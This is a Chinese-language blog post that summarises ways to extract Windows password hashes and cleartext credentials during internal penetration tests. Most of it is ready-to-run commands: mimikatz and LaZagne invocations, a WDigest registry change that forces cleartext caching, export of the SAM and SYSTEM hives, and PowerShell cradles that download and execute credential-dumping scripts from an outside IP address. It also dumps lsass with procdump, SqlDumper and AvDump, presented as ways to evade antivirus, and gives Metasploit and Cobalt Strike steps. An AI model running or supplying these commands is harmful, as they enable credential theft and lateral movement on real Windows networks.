美文网首页
windows hash抓取总结

windows hash抓取总结

作者: CSeroad | 来源:发表于2020-02-19 10:31 被阅读0次

    前言

    最近在看ms08067出版的《内网渗透测试基础》,总结的还是挺好的。这里把windows抓取hash的一些方式进行重新总结。

    windows 密码

    windows hash由二部分组成,分别是LM HASH和NTLM HASH,这是对同一个密码的两种不同的加密方式。username:RID:LM-HASH值:NTLM-HASH值
    NTLM Hash的组成如下:
    NTLM-Hash的生成方法为:
    1.将明文口令转换成十六进制的格式
    2.转换成Unicode格式,即在每个字节之后添加0x00
    3.对Unicode字符串作MD4加密,生成32位的十六进制数字串

    例如账户密码为cseroad@2008
    十六进制为 637365726f61644032303038
    Unicode字符串为 63007300650072006f006100640040003200300030003800
    NTLM-Hash为 82c58d8cec50de01fd109613369c158e

    image.png

    LM-Hash(LAN Manager Hash)是微软的一种散列加密算法,本质为DES加密,具体原理参考LM-Hash && NTLM-Hash。当LM Hash是AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LM_HASH。这里不做过多解释,因为从Windows Server 2008版本开始,系统禁用了LM hash。

    获取hash的工具

    原理:lsass.exe进程用于实现windows安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存的lsass.exe进程或者SAM文件中导出。SAM文件保存在C:\Windows\System32\config目录下,该文件被锁定,不允许复制。
    以下工具都以管理员身份运行

    QuarksPwDump工具

    该工具支持Windows XP/2003/Vista/7/2008版本,且相当稳定。可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户。
    下载地址:https://codeload.github.com/quarkslab/quarkspwdump/zip/master
    完整源代码可以从https://github.com/quarkslab/quarkspwdump获取

    Quarkspwdump.exe --dump-hash-local   导出用户的NTLM Hash
    
    image.png

    LaZagne工具

    LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、Linux、MAC
    下载地址 https://github.com/AlessandroZ/LaZagne
    运行命令

    LaZagne.exe all
    
    image.png

    getpass.exe工具

    该工具由闪电小子根据mimikatz编译,可以直接获取明文密码。直接运行getpass.exe即可。

    image.png

    Pwdump7.exe工具

    拷贝libeay32.dll和Pwdump7.exe在同一目录下
    直接运行Pwdump7.txt即可

    image.png

    wce工具

    该工具分为32位、64位。它可以列举登陆会话,并且可以添加、改变和删除相关凭据。
    命令为

    wce.exe -w  读取系统明文密码
    
    image.png
    wme.exe -l  获取hash
    
    image.png

    powershell 脚本

    Get-PassHashes.ps1脚本

    cmd直接运行命令

    powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Get-PassHashes.ps1');Get-PassHashes
    
    image.png

    Get-PassHashes.ps1 脚本

    cmd直接运行命令

    powershell iex (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/nishang/Gather/Get-PassHashes.ps1');Get-PassHashes
    
    image.png

    Invoke-Mimikatz.ps1 脚本

    依然使用的mimikatz读取密码

    powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
    

    Out-Minidump.ps1 脚本

    获取lsass.exe的dumps

    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"
    
    image.png

    再用mimikatz从dumps中获取明文。

    mimikatz.exe "sekurlsa::minidump lsass_528.dmp" "sekurlsa::logonPasswords full" exit
    

    mimikatz工具

    可用来抓取hash以及明文。
    命令为

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
    
    image.png

    当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
    修改注册表

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

    重启后可抓取hash

    SAM表获取hash

    导出导出SAM和System文件

    reg save HKLM\SYSTEM sys.hiv 
    reg save HKLM\SAM sam.hiv
    

    将注册表的SAM、System文件导出到本地磁盘。
    使用mimikatz读取SAM和System文件。可获取NTLM Hash

    mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
    
    image.png

    也可以使用secretsdump_windows.exe 导出hash。
    命令如下:

    reg save HKLM\SYSTEM sys.hiv
    reg save HKLM\SAM sam.hiv
    reg save hklm\security security.hiv
    secretsdump_windows.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
    del *.hiv secretsdump_windows.exe /F
    

    metaploit 框架

    在得到session的基础上,尝试抓取hash值。
    metasploit支持多种hash获取。

    1.hashdump命令
    在system权限下,可抓取hash

    image.png
    1. windows/gather/smart_hashdump 脚本
      可以获取域内的用户 hash
    run windows/gather/smart_hashdump
    
    image.png

    并将所有hash导出到/root/.msf4/loot/20200218155855_default_10.211.55.16_windows.hashes_396577.txt

    1. load mimikatz 命令
      使用mimikatz
    load mimikatz  加载mimikatz模块
    
    msv          获取hash
    kerberos  获取明文
    ssp          获取明文信息
    tspkg       尝试检索tspkg凭据
    wdigest    尝试检索wdigest凭据
    mimikatz_command -f samdump::hashes   获取hash
    mimikatz_command -f sekurlsa::searchPasswords   获取明文密码
    
    image.png image.png

    cobalt strike框架

    image.png
    Dump Hashes  #获取hash
    Run Mimikatz  #运行 Mimikatz 
    

    在beacon在执行的命令对应

    hashdump  获取hash值 
    logonpasswords  相当于mimikatz_command -f sekurlsa::searchPasswords 
    
    image.png

    Empire框架

    Empire也是内置了mimikatz来读取hash。

    免杀

    prodump.exe工具

    该工具是微软出品的工具,具有一定免杀效果。
    可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。

    procdump.exe -accepteula -ma lsass.exe lsass.dmp  导出lsass.dmp
    

    再使用mimikatz读取密码

    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 
    

    需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。

    image.png

    SqlDumper.exe工具

    该工具也是微软出品,也具备一定免杀能力。
    SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。
    如果目标机器没有安装SQL Server,自己上传SqlDumper.exe

    tasklist /svc | findstr lsass.exe  查看lsass.exe 的ProcessID
    
    Sqldumper.exe ProcessID 0 0x01100  导出dump文件
    

    mimikatz加载mdump文件

    mimikatz.exe "sekurlsa::minidump SQLDmpr0002.mdmp" "sekurlsa::logonPasswords full" exit
    
    image.png

    SharpDump工具

    Out-Minidump.ps1 脚本C#版本编译后的结果。

    image.png

    把lsass.exe进程数据导出来
    dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压
    并使用本地的mimikatz进行读取。

    mimikatz.exe "sekurlsa::minidump debug520" "sekurlsa::logonPasswords full" "exit"
    
    image.png

    AvDump工具

    Avdump.exe 是Avast Home Security 产品套件一起提供的小工具。顾名思义,该实用程序将给定进程标识符的内存转储到用户指定的位置。我们可以通过它进行新的 dump 方式利用。
    自带 Avast 杀软公司白签名。
    https://www.pconlife.com/viewfileinfo/avdump-exe/ 下载该程序。
    需要在powershell环境下运行该程序,测试cmd环境下无法导出:

    .\AvDump.exe --pid 516 --exception_ptr 0 --dump_level 1 --thread_id 0 --min_interval 0 --dump_file c:\test\lsass.dmp
    
    image.png

    再通过mimikatz获取密码。

    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 
    
    image.png

    goHashDumper

    利用静默退出机制(SilentProcessExit)和Windows API(MiniDumpW) 实现dump 内存
    下载地址: https://github.com/crisprss/goHashDumper

    破解hash

    在线破解hash网站
    https://www.objectif-securite.ch/en/ophcrack
    http://cracker.offensive-security.com/index.php

    参考资源
    抓Windows密码的几种方式
    一个dumpWindows系统lsass.exe进程的工具
    教你多姿势抓取Windows明文或Hash,快收藏!

    相关文章

      网友评论

          本文标题:windows hash抓取总结

          本文链接:https://www.haomeiwen.com/subject/siipfhtx.html